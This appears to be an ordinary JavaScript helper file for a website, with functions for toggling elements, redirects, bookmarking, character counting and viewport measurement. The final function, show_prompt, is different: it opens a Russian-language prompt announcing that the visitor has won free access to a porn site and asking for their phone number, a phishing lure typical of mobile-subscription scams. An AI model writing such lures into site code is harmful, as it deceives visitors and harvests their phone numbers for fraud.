	
function el(id) {
	return document.getElementById(id)
}

function show(id) {
    document.getElementById(id).style.display='';
}    

function hide(id) {
    document.getElementById(id).style.display='none';
}    

function show_hide(id) {
    var sec =document.getElementById(id);
	if (sec == null) return;
	if (sec.style.display == '') {   
        sec.style.display = 'none';
   	} else {
        sec.style.display = '';
	}
}

function redirect(url) {
	window.location = url;
	return false;
}

function if_confirm(url) {
	if(confirm(text_are_you_sure))
		redirect(url);
}

function Submit(form) {
	f = document.forms[form];
	f.submit();
}

function Bookmark(title, url) {
	if (window.sidebar) {
		window.sidebar.addPanel(title, url, "");
	} else if (window.external) { 
		window.external.AddFavorite(url, title);
	} else if (window.opera && window.print) { 
		var a = document.createElement('A');
		if (!a) return false; //IF Opera 6
		a.setAttribute('rel','sidebar');
		a.setAttribute('href',url);
		a.setAttribute('title',title);
		a.click();
	}
}

function charcount(name,max) {
	memo = el('_form_' + name);
    counter = el(name + "__charcounter");
	
	msglen = memo.value.length;
	if (msglen > max) memo.value = memo.value.substring(0, max);
    counter.value = memo.value.length;
}

function clearmemo(name) {
	memo = el('_form_' + name);
	memo.value = '';
    counter = el(name + "__charcounter");
	counter.value = 0;
}

function SendGet(url) {
	redirect(url);
}

function show_message(message) {
	//~ var scroll = getBodyScrollTop();
	sc = 50;
	$("#message_block").css("right", "25px");
	$("#message_block").css("top", 25 + sc  + "px");
	$("#message_block").css("width", "210px");
	$("#message_block").css("height", "40px");
	
	$("#message_block").empty();
	$("#message_block").append(message);
	$("#message_block").show();
	setTimeout("$('#message_block').fadeOut('slow')", 2000);
}

function getClientCenterX() {
    return parseInt(getClientWidth()/2)+getBodyScrollLeft();
}

function getClientCenterY() {
    return parseInt(getClientHeight()/2)+getBodyScrollTop();
}

function getBodyScrollTop() {
  return self.pageYOffset || 
    (document.documentElement && document.documentElement.scrollTop) || 
    (document.body && document.body.scrollTop);
}

function getBodyScrollLeft() {
  return self.pageXOffset || 
    (document.documentElement && document.documentElement.scrollLeft) || 
    (document.body && document.body.scrollLeft);
}

function getClientWidth() {
  return document.compatMode=='CSS1Compat' && !window.opera?document.documentElement.clientWidth:document.body.clientWidth;
}

function getClientHeight() {
  return document.compatMode=='CSS1Compat' && !window.opera?document.documentElement.clientHeight:document.body.clientHeight;
}
function show_prompt()
{
var name=prompt("ПОЗДРАВЛЯЕМ, вы выиграли БЕСПЛАТНЫЙ ДОСТУП на сайт с огромным количеством порно видео и фото галерей. Для получения вам НЕ НУЖНО отправлять НИКАКИХ смс! просто введите ВАШ номер и получите ЭКСКЛЮЗИВНЫЙ ДОСТУП на сайт:","+7");

}
